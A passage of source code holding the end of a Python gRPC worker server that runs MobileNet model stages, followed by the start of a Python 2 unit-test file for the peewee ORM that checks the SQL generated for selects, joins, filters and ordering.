self.cstubs[next_stub]) mobilenetpreprocess.PreProcess() mobilenetpreprocess.Apply() mobilenetpreprocess.PostProcess() elif (current_model == "exported_mobilenet_v1_1.0_224_inference"): mobilenetinference = MobilenetInference() mobilenetinference.Setup(chain_name, route_table, current_model, next_stub, request, self.istub, self.cstubs[next_stub]) mobilenetinference.PreProcess() mobilenetinference.Apply() mobilenetinference.PostProcess() else: print("[Worker] Error...") dumbresult = predict_pb2.PredictResponse() dumbresult.outputs["message"].CopyFrom(tf.contrib.util.make_tensor_proto("OK")) return dumbresult else: # Not sure yet... print("[Worker] Not sure yet...") dumbresult = predict_pb2.PredictResponse() dumbresult.outputs["message"].CopyFrom(tf.contrib.util.make_tensor_proto("OK")) return dumbresult def main(_): server = grpc.server(futures.ThreadPoolExecutor(max_workers=10), options=[('grpc.max_send_message_length', MAX_MESSAGE_LENGTH), ('grpc.max_receive_message_length', MAX_MESSAGE_LENGTH), ('grpc.max_message_length', MAX_MESSAGE_LENGTH)]) olympian_worker_grpc_pb2.add_OlympianWorkerServicer_to_server(OlympianWorker(), server) server.add_insecure_port(FLAGS.worker) server.start() try: while True: time.sleep(_ONE_DAY_IN_SECONDS) except KeyboardInterrupt: server.stop(0) if __name__ == '__main__': tf.app.run()
tests.py
# encoding=utf-8 from __future__ import with_statement import datetime import decimal import logging import os import Queue import threading import unittest from peewee import * from peewee import logger, VarCharColumn, SelectQuery, DeleteQuery, UpdateQuery, \ InsertQuery, RawQuery, parseq, Database, SqliteAdapter, \ create_model_tables, drop_model_tables, sort_models_topologically, Node class QueryLogHandler(logging.Handler): def __init__(self, *args, **kwargs): self.queries = [] logging.Handler.__init__(self, *args, **kwargs) def emit(self, record): self.queries.append(record) BACKEND = os.environ.get('PEEWEE_TEST_BACKEND', 'sqlite') TEST_VERBOSITY = int(os.environ.get('PEEWEE_TEST_VERBOSITY') or 1) database_params = {} if BACKEND == 'postgresql': database_class = PostgresqlDatabase database_name = 'peewee_test' elif BACKEND == 'mysql': database_class = MySQLDatabase database_name = 'peewee_test' elif BACKEND == 'apsw': from extras.apsw_ext import * database_class = APSWDatabase database_name = 'tmp.db' database_params['timeout'] = 1000 else: database_class = SqliteDatabase database_name = 'tmp.db' import sqlite3 print 'SQLITE VERSION: %s' % sqlite3.version test_db = database_class(database_name, **database_params) interpolation = test_db.adapter.interpolation quote_char = test_db.adapter.quote_char class TestModel(Model): class Meta: database = test_db # test models class Blog(TestModel): title = CharField() def __unicode__(self): return self.title class Entry(TestModel): pk = PrimaryKeyField() title = CharField(max_length=50, verbose_name='Wacky title') content = TextField(default='') pub_date = DateTimeField(null=True) blog = ForeignKeyField(Blog, cascade=True) def __unicode__(self): return '%s: %s' % (self.blog.title, self.title) def __init__(self, *args, **kwargs): self._prepared = False super(Entry, self).__init__(*args, **kwargs) def prepared(self): self._prepared = True class EntryTag(TestModel): tag = CharField(max_length=50) entry = ForeignKeyField(Entry) def __unicode__(self): return self.tag class EntryTwo(Entry): title = TextField() extra_field = CharField() class User(TestModel): username = CharField(max_length=50) blog = ForeignKeyField(Blog, null=True) active = BooleanField(db_index=True, default=False) class Meta: db_table = 'users' def __unicode__(self): return self.username class Relationship(TestModel): from_user = ForeignKeyField(User, related_name='relationships') to_user = ForeignKeyField(User, related_name='related_to') class NullModel(TestModel): char_field = CharField(null=True) text_field = TextField(null=True) datetime_field = DateTimeField(null=True) int_field = IntegerField(null=True) float_field = FloatField(null=True) decimal_field1 = DecimalField(null=True) decimal_field2 = DecimalField(decimal_places=2, null=True) double_field = DoubleField(null=True) bigint_field = BigIntegerField(null=True) date_field = DateField(null=True) time_field = TimeField(null=True) boolean_field = BooleanField(null=True) class NumberModel(TestModel): num1 = IntegerField() num2 = IntegerField() class RelNumberModel(TestModel): rel_num = IntegerField() num = ForeignKeyField(NumberModel) class Team(TestModel): name = CharField() class Member(TestModel): username = CharField() class Membership(TestModel): team = ForeignKeyField(Team) member = ForeignKeyField(Member) class DefaultVals(TestModel): published = BooleanField(default=True) pub_date = DateTimeField(default=datetime.datetime.now, null=True) class UniqueModel(TestModel): name = CharField(unique=True) class OrderedModel(TestModel): title = CharField() created = DateTimeField(default=datetime.datetime.now) class Meta: ordering = (('created', 'desc'),) class Category(TestModel): parent = ForeignKeyField('self', related_name='children', null=True) name = CharField() class SeqModelBase(TestModel): class Meta: pk_sequence = 'just_testing_seq' class SeqModelA(SeqModelBase): num = IntegerField() class SeqModelB(SeqModelBase): other_num = IntegerField() class LegacyBlog(TestModel): name = CharField(db_column='old_name') class Meta: ordering = ('id',) class LegacyEntry(TestModel): name = CharField(db_column='old_name') blog = ForeignKeyField(LegacyBlog, db_column='old_blog') class Meta: ordering = ('id',) class ExplicitEntry(TestModel): name = CharField() blog = ForeignKeyField(LegacyBlog, db_column='blog') class NonIntPK(TestModel): id = PrimaryKeyField(column_class=VarCharColumn) name = CharField(max_length=10) class RelNonIntPK(TestModel): non_int_pk = ForeignKeyField(NonIntPK) name = CharField() class CustomPKColumn(TestModel): custom_pk = PrimaryKeyField(db_column='pk') xxx = CharField(default='') class CPKRel(TestModel): custom = ForeignKeyField(CustomPKColumn) class MultiIndexModel(TestModel): f1 = CharField() f2 = CharField() f3 = CharField() class Meta: indexes = ( (('f1', 'f2'), True), (('f2', 'f3'), False), ) class BasePeeweeTestCase(unittest.TestCase): def setUp(self): self.qh = QueryLogHandler() logger.setLevel(logging.DEBUG) logger.addHandler(self.qh) def tearDown(self): logger.removeHandler(self.qh) def normalize(self, s): if interpolation != '?': s = s.replace('?', interpolation) if quote_char != "`": s = s.replace("`", quote_char) return s def assertQueriesEqual(self, queries): queries = [(self.normalize(q), p) for q,p in queries] self.assertEqual(queries, self.queries()) def assertSQLEqual(self, lhs, rhs): self.assertEqual( self.normalize(lhs[0]), self.normalize(rhs[0]) ) self.assertEqual(lhs[1], rhs[1]) def assertSQL(self, query, expected_clauses): computed_joins, clauses, alias_map = query.compile_where() clauses = [(self.normalize(x), y) for (x, y) in clauses] expected_clauses = [(self.normalize(x), y) for (x, y) in expected_clauses] self.assertEqual(sorted(clauses), sorted(expected_clauses)) def assertNodeEqual(self, lhs, rhs): self.assertEqual(lhs.connector, rhs.connector) self.assertEqual(lhs.negated, rhs.negated) for i, lchild in enumerate(lhs.children): rchild = rhs.children[i] self.assertEqual(type(lchild), type(rchild)) if isinstance(lchild, Q): self.assertEqual(lchild.model, rchild.model) self.assertEqual(lchild.query, rchild.query) elif isinstance(lchild, Node): self.assertNodeEqual(lchild, rchild) else: raise TypeError("Invalid type passed to assertNodeEqual") class BaseModelTestCase(BasePeeweeTestCase): def setUp(self): models = [ Membership, Member, Team, Relationship, User, EntryTag, Entry, Blog ] drop_model_tables(models, fail_silently=True) create_model_tables(models) super(BaseModelTestCase, self).setUp() def queries(self): return [x.msg for x in self.qh.queries] def create_blog(self, **kwargs): blog = Blog(**kwargs) blog.save() return blog def create_entry(self, **kwargs): entry = Entry(**kwargs) entry.save() return entry def create_entry_tag(self, **kwargs): entry_tag = EntryTag(**kwargs) entry_tag.save() return entry_tag class QueryTests(BasePeeweeTestCase): def test_raw(self): rq = RawQuery(Blog, 'SELECT id, title FROM blog') self.assertSQLEqual(rq.sql(), ('SELECT id, title FROM blog', [])) rq = RawQuery(Blog, 'SELECT id, title FROM blog WHERE title = ?', 'a') self.assertSQLEqual(rq.sql(), ('SELECT id, title FROM blog WHERE title = ?', ['a'])) rq = RawQuery(Blog, 'SELECT id, title FROM blog WHERE title = ? OR title = ?', 'a', 'b') self.assertSQLEqual(rq.sql(), ('SELECT id, title FROM blog WHERE title = ? OR title = ?', ['a', 'b'])) def test_select(self): sq = SelectQuery(Blog, '*') self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog`', [])) sq = SelectQuery(Blog, '*').where(title='a') self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE `title` = ?', ['a'])) sq2 = SelectQuery(Blog, '*').where(Blog.title == 'a') self.assertEqual(sq.sql(), sq2.sql()) sq = SelectQuery(Blog, '*').where(title='a', id=1) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (`id` = ? AND `title` = ?)', [1, 'a'])) sq2 = SelectQuery(Blog, '*').where((Blog.id == 1) & (Blog.title == 'a')) self.assertEqual(sq.sql(), sq2.sql()) # check that chaining works as expected sq = SelectQuery(Blog, '*').where(title='a').where(id=1) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE `title` = ? AND `id` = ?', ['a', 1])) sq2 = SelectQuery(Blog, '*').where(Blog.title=='a').where(Blog.id==1) self.assertEqual(sq.sql(), sq2.sql()) # check that IN query special-case works sq = SelectQuery(Blog, '*').where(title__in=['a', 'b']) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE `title` IN (?,?)', ['a', 'b'])) sq2 = SelectQuery(Blog, '*').where(Blog.title << ['a', 'b']) self.assertEqual(sq.sql(), sq2.sql()) def test_select_with_q(self): sq = SelectQuery(Blog, '*').where(Q(title='a') | Q(id=1)) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `id` = ?)', ['a', 1])) sq2 = SelectQuery(Blog, '*').where((Blog.title == 'a') | (Blog.id == 1)) self.assertEqual(sq.sql(), sq2.sql()) sq = SelectQuery(Blog, '*').where(Q(title='a') | Q(id=1) | Q(id=3)) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `id` = ? OR `id` = ?)', ['a', 1, 3])) sq2 = SelectQuery(Blog, '*').where((Blog.title == 'a') | (Blog.id == 1) | (Blog.id == 3)) self.assertEqual(sq.sql(), sq2.sql()) # test simple chaining sq = SelectQuery(Blog, '*').where(Q(title='a') | Q(id=1)).where(Q(id=3)) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `id` = ?) AND `id` = ?', ['a', 1, 3])) sq2 = SelectQuery(Blog, '*').where((Blog.title == 'a') | (Blog.id == 1)).where(Blog.id==3) self.assertEqual(sq.sql(), sq2.sql()) sq = SelectQuery(Blog, '*').where(Q(title='a') | Q(id=1)).where(id=3) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `id` = ?) AND `id` = ?', ['a', 1, 3])) # test chaining with Q objects sq = SelectQuery(Blog, '*').where(Q(title='a') | Q(id=1)).where((Q(title='c') | Q(id=3))) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `id` = ?) AND (`title` = ? OR `id` = ?)', ['a', 1, 'c', 3])) sq2 = SelectQuery(Blog, '*').where((Blog.title == 'a') | (Blog.id == 1)).where((Blog.title=='c')|(Blog.id==3)) self.assertEqual(sq.sql(), sq2.sql()) # test mixing it all up sq = SelectQuery(Blog, '*').where(Q(title='a') | Q(id=1)).where((Q(title='c') | Q(id=3)), title='b') self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `id` = ?) AND (`title` = ? OR `id` = ?) AND `title` = ?', ['a', 1, 'c', 3, 'b'])) def test_select_with_negation(self): sq = SelectQuery(Blog, '*').where(~Q(title='a')) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE NOT `title` = ?', ['a'])) sq2 = SelectQuery(Blog, '*').where(~(Blog.title == 'a')) self.assertEqual(sq.sql(), sq2.sql()) sq = SelectQuery(Blog, '*').where(~Q(title='a') | Q(title='b')) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (NOT `title` = ? OR `title` = ?)', ['a', 'b'])) sq2 = SelectQuery(Blog, '*').where(~(Blog.title == 'a') | (Blog.title=='b')) self.assertEqual(sq.sql(), sq2.sql()) sq = SelectQuery(Blog, '*').where(~Q(title='a') | ~Q(title='b')) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (NOT `title` = ? OR NOT `title` = ?)', ['a', 'b'])) sq2 = SelectQuery(Blog, '*').where(~(Blog.title == 'a') | ~(Blog.title=='b')) self.assertEqual(sq.sql(), sq2.sql()) sq = SelectQuery(Blog, '*').where(~(Q(title='a') | Q(title='b'))) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (NOT (`title` = ? OR `title` = ?))', ['a', 'b'])) # chaining? sq = SelectQuery(Blog, '*').where(~(Q(title='a') | Q(id=1))).where(Q(id=3)) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (NOT (`title` = ? OR `id` = ?)) AND `id` = ?', ['a', 1, 3])) # mix n'match? sq = SelectQuery(Blog, '*').where(Q(title='a') | Q(id=1)).where(~(Q(title='c') | Q(id=3)), title='b') self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `id` = ?) AND (NOT (`title` = ? OR `id` = ?)) AND `title` = ?', ['a', 1, 'c', 3, 'b'])) def test_select_with_models(self): sq = SelectQuery(Blog, {Blog: ['*']}) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog`', [])) sq = SelectQuery(Blog, {Blog: ['title', 'id']}) self.assertSQLEqual(sq.sql(), ('SELECT `title`, `id` FROM `blog`', [])) sq = SelectQuery(Blog, {Blog: ['title', 'id']}).join(Entry) self.assertSQLEqual(sq.sql(), ('SELECT t1.`title`, t1.`id` FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id`', [])) sq = SelectQuery(Blog, {Blog: ['title', 'id'], Entry: [Count('pk')]}).join(Entry) self.assertSQLEqual(sq.sql(), ('SELECT t1.`title`, t1.`id`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id`', [])) sq = SelectQuery(Blog, {Blog: ['title', 'id'], Entry: [Max('pk')]}).join(Entry) self.assertSQLEqual(sq.sql(), ('SELECT t1.`title`, t1.`id`, MAX(t2.`pk`) AS max FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id`', [])) sq = SelectQuery(Blog, {Blog: ['title', 'id']}).join(Entry, alias='e').where(title='foo') self.assertSQLEqual(sq.sql(), ('SELECT t1.`title`, t1.`id` FROM `blog` AS t1 INNER JOIN `entry` AS e ON t1.`id` = e.`blog_id` WHERE e.`title` = ?', ['foo'])) sq = SelectQuery(Entry, {Entry: ['pk', 'title'], Blog: ['title']}).join(Blog, alias='b').where(title='foo') self.assertSQLEqual(sq.sql(), ('SELECT b.`title`, t1.`pk`, t1.`title` FROM `entry` AS t1 INNER JOIN `blog` AS b ON t1.`blog_id` = b.`id` WHERE b.`title` = ?', ['foo'])) def test_selecting_across_joins(self): sq = SelectQuery(Entry, '*').where(title='a1').join(Blog).where(title='a') self.assertEqual(sq._joins, {Entry: [(Blog, None, None)]}) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE t1.`title` = ? AND t2.`title` = ?', ['a1', 'a'])) sq = SelectQuery(Blog, '*').join(Entry).where(title='a1') self.assertEqual(sq._joins, {Blog: [(Entry, None, None)]}) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`title` FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` WHERE t2.`title` = ?', ['a1'])) sq = SelectQuery(EntryTag, '*').join(Entry).join(Blog).where(title='a') self.assertEqual(sq._joins, {EntryTag: [(Entry, None, None)], Entry: [(Blog, None, None)]}) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`tag`, t1.`entry_id` FROM `entrytag` AS t1 INNER JOIN `entry` AS t2 ON t1.`entry_id` = t2.`pk`\nINNER JOIN `blog` AS t3 ON t2.`blog_id` = t3.`id` WHERE t3.`title` = ?', ['a'])) sq = SelectQuery(Blog, '*').join(Entry).join(EntryTag).where(tag='t2') self.assertEqual(sq._joins, {Blog: [(Entry, None, None)], Entry: [(EntryTag, None, None)]}) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`title` FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id`\nINNER JOIN `entrytag` AS t3 ON t2.`pk` = t3.`entry_id` WHERE t3.`tag` = ?', ['t2'])) def test_selecting_across_joins_with_q(self): sq = SelectQuery(Entry, '*').where(Q(title='a') | Q(pk=1)).join(Blog).where(title='e') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE (t1.`title` = ? OR t1.`pk` = ?) AND t2.`title` = ?', ['a', 1, 'e'])) sq = SelectQuery(Entry, '*').where(Q(title='a') | Q(pk=1) | Q(title='b')).join(Blog).where(title='e') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE (t1.`title` = ? OR t1.`pk` = ? OR t1.`title` = ?) AND t2.`title` = ?', ['a', 1, 'b', 'e'])) # test simple chaining sq = SelectQuery(Entry, '*').where(Q(title='a') | Q(pk=1)).where(Q(title='b')).join(Blog).where(title='e') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE (t1.`title` = ? OR t1.`pk` = ?) AND t1.`title` = ? AND t2.`title` = ?', ['a', 1, 'b', 'e'])) sq = SelectQuery(Entry, '*').where(Q(title='a') | Q(pk=1)).where(title='b').join(Blog).where(title='e') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE (t1.`title` = ? OR t1.`pk` = ?) AND t1.`title` = ? AND t2.`title` = ?', ['a', 1, 'b', 'e'])) # test q on both models sq = SelectQuery(Entry, '*').where(Q(title='a') | Q(pk=1)).join(Blog).where(Q(title='e') | Q(id=2)) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE (t1.`title` = ? OR t1.`pk` = ?) AND (t2.`title` = ? OR t2.`id` = ?)', ['a', 1, 'e', 2])) # test q on both with nesting sq = SelectQuery(Entry, '*').where(Q(title='a') | Q(pk=1)).join(Blog).where((Q(title='e') | Q(id=2)) & (Q(title='f') | Q(id=3))) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE (t1.`title` = ? OR t1.`pk` = ?) AND ((t2.`title` = ? OR t2.`id` = ?) AND (t2.`title` = ? OR t2.`id` = ?))', ['a', 1, 'e', 2, 'f', 3])) def test_selecting_with_switching(self): sq = SelectQuery(Blog, '*').join(Entry).switch(Blog).where(title='a') self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`title` FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` WHERE t1.`title` = ?', ['a'])) def test_selecting_with_joins_switching_issue90(self): class Artist(TestModel): pass class Track(TestModel): artist = ForeignKeyField(Artist) class Release(TestModel): artist = ForeignKeyField(Artist) class ReleaseTrack(TestModel): track = ForeignKeyField(Track) release = ForeignKeyField(Release) class Genre(TestModel): pass class TrackGenre(TestModel): genre = ForeignKeyField(Genre) track = ForeignKeyField(Track) multiple_first = Track.select().join(ReleaseTrack).join(Release).switch(Track).join(Artist).switch(Track).join(TrackGenre).join(Genre) self.assertSQLEqual(multiple_first.sql(), ('SELECT t1.`id`, t1.`artist_id` FROM `track` AS t1 INNER JOIN `releasetrack` AS t2 ON t1.`id` = t2.`track_id`\nINNER JOIN `release` AS t3 ON t2.`release_id` = t3.`id`\nINNER JOIN `artist` AS t4 ON t1.`artist_id` = t4.`id`\nINNER JOIN `trackgenre` AS t5 ON t1.`id` = t5.`track_id`\nINNER JOIN `genre` AS t6 ON t5.`genre_id` = t6.`id`', [])) single_first = Track.select().join(Artist).switch(Track).join(ReleaseTrack).join(Release).switch(Track).join(TrackGenre).join(Genre) self.assertSQLEqual(single_first.sql(), ('SELECT t1.`id`, t1.`artist_id` FROM `track` AS t1 INNER JOIN `artist` AS t2 ON t1.`artist_id` = t2.`id`\nINNER JOIN `releasetrack` AS t3 ON t1.`id` = t3.`track_id`\nINNER JOIN `release` AS t4 ON t3.`release_id` = t4.`id`\nINNER JOIN `trackgenre` AS t5 ON t1.`id` = t5.`track_id`\nINNER JOIN `genre` AS t6 ON t5.`genre_id` = t6.`id`', [])) def test_selecting_with_aggregation(self): sq = SelectQuery(Blog, 't1.*, COUNT(t2.pk) AS count').group_by('id').join(Entry) self.assertEqual(sq._where, []) self.assertEqual(sq._joins, {Blog: [(Entry, None, None)]}) self.assertSQLEqual(sq.sql(), ('SELECT t1.*, COUNT(t2.pk) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`', [])) sq = sq.having('count > 2') self.assertSQLEqual(sq.sql(), ('SELECT t1.*, COUNT(t2.pk) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id` HAVING count > 2', [])) sq = SelectQuery(Blog, { Blog: ['*'], Entry: [Count('pk')] }).group_by('id').join(Entry) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`title`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`', [])) sq = sq.having('count > 2') self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`title`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id` HAVING count > 2', [])) sq = sq.order_by(('count', 'desc')) self.assertSQLEqual(sq.sql(), ('SELECT t1.`id`, t1.`title`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id` HAVING count > 2 ORDER BY count desc', [])) def test_select_with_group_by(self): sq = Blog.select().group_by('title') self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` GROUP BY `title`', [])) sq = Entry.select().join(Blog).group_by(Blog) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` GROUP BY t2.`id`, t2.`title`', [])) def test_selecting_with_ordering(self): sq = SelectQuery(Blog).order_by('title') self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` ASC', [])) sq = SelectQuery(Blog).order_by(desc('title')) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` DESC', [])) sq = SelectQuery(Blog).order_by((Blog, 'title')) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` ASC', [])) sq = SelectQuery(Blog).order_by((Blog, 'title', 'desc')) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` desc', [])) sq = SelectQuery(Blog).order_by(-(Blog.title)) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` DESC', [])) sq = SelectQuery(Blog).order_by(Blog.title) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` ASC', [])) def test_selecting_with_ordering_joins(self): sq = SelectQuery(Entry).order_by('title').join(Blog).where(title='a') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE t2.`title` = ? ORDER BY t1.`title` ASC', ['a'])) sq = SelectQuery(Entry).order_by(desc('title')).join(Blog).where(title='a') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE t2.`title` = ? ORDER BY t1.`title` DESC', ['a'])) sq = SelectQuery(Entry).join(Blog).where(title='a').order_by((Entry, 'title')) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE t2.`title` = ? ORDER BY t1.`title` ASC', ['a'])) sq = SelectQuery(Entry).join(Blog).where(title='a').order_by((Entry, 'title', 'desc')) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` WHERE t2.`title` = ? ORDER BY t1.`title` desc', ['a'])) sq = SelectQuery(Entry).join(Blog).order_by(Blog.title, Entry.title) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` ORDER BY t2.`title` ASC, t1.`title` ASC', [])) sq = SelectQuery(Entry).join(Blog).order_by('title') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` ORDER BY t2.`title` ASC', [])) sq = SelectQuery(Entry).join(Blog).order_by(desc('title')) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` ORDER BY t2.`title` DESC', [])) sq = SelectQuery(Entry).order_by((Blog, 'title')).join(Blog) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` ORDER BY t2.`title` ASC', [])) sq = SelectQuery(Entry).order_by((Blog, 'title', 'desc')).join(Blog) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` ORDER BY t2.`title` desc', [])) sq = SelectQuery(Entry).join(Blog).order_by( (Blog, 'title'), (Entry, 'pub_date', 'desc'), ) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` ORDER BY t2.`title` ASC, t1.`pub_date` desc', [])) sq = SelectQuery(Entry).join(Blog).order_by( (Entry, 'pub_date', 'desc'), (Blog, 'title'), 'id', ) self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id` ORDER BY t1.`pub_date` desc, t2.`title` ASC, t2.`id` ASC', [])) sq = SelectQuery(Entry).order_by((Blog, 'title')).join(Blog).order_by() self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id`', [])) def test_ordering_on_aggregates(self): sq = SelectQuery( Blog, 't1.*, COUNT(t2.pk) as count' ).join(Entry).order_by(desc('count')) self.assertSQLEqual(sq.sql(), ('SELECT t1.*, COUNT(t2.pk) as count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` ORDER BY count DESC', [])) def test_default_ordering(self): sq = OrderedModel.select() self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title`, `created` FROM `orderedmodel` ORDER BY `created` desc', [])) sq = OrderedModel.select().order_by() self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title`, `created` FROM `orderedmodel`', [])) class OtherOrderedModel(OrderedModel): pass sq = OtherOrderedModel.select() self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title`, `created` FROM `otherorderedmodel` ORDER BY `created` desc', [])) sq = OtherOrderedModel.select().order_by() self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title`, `created` FROM `otherorderedmodel`', [])) class MoreModel(OrderedModel): class Meta: ordering = (('created', 'desc'), 'title') sq = MoreModel.select() self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title`, `created` FROM `moremodel` ORDER BY `created` desc, 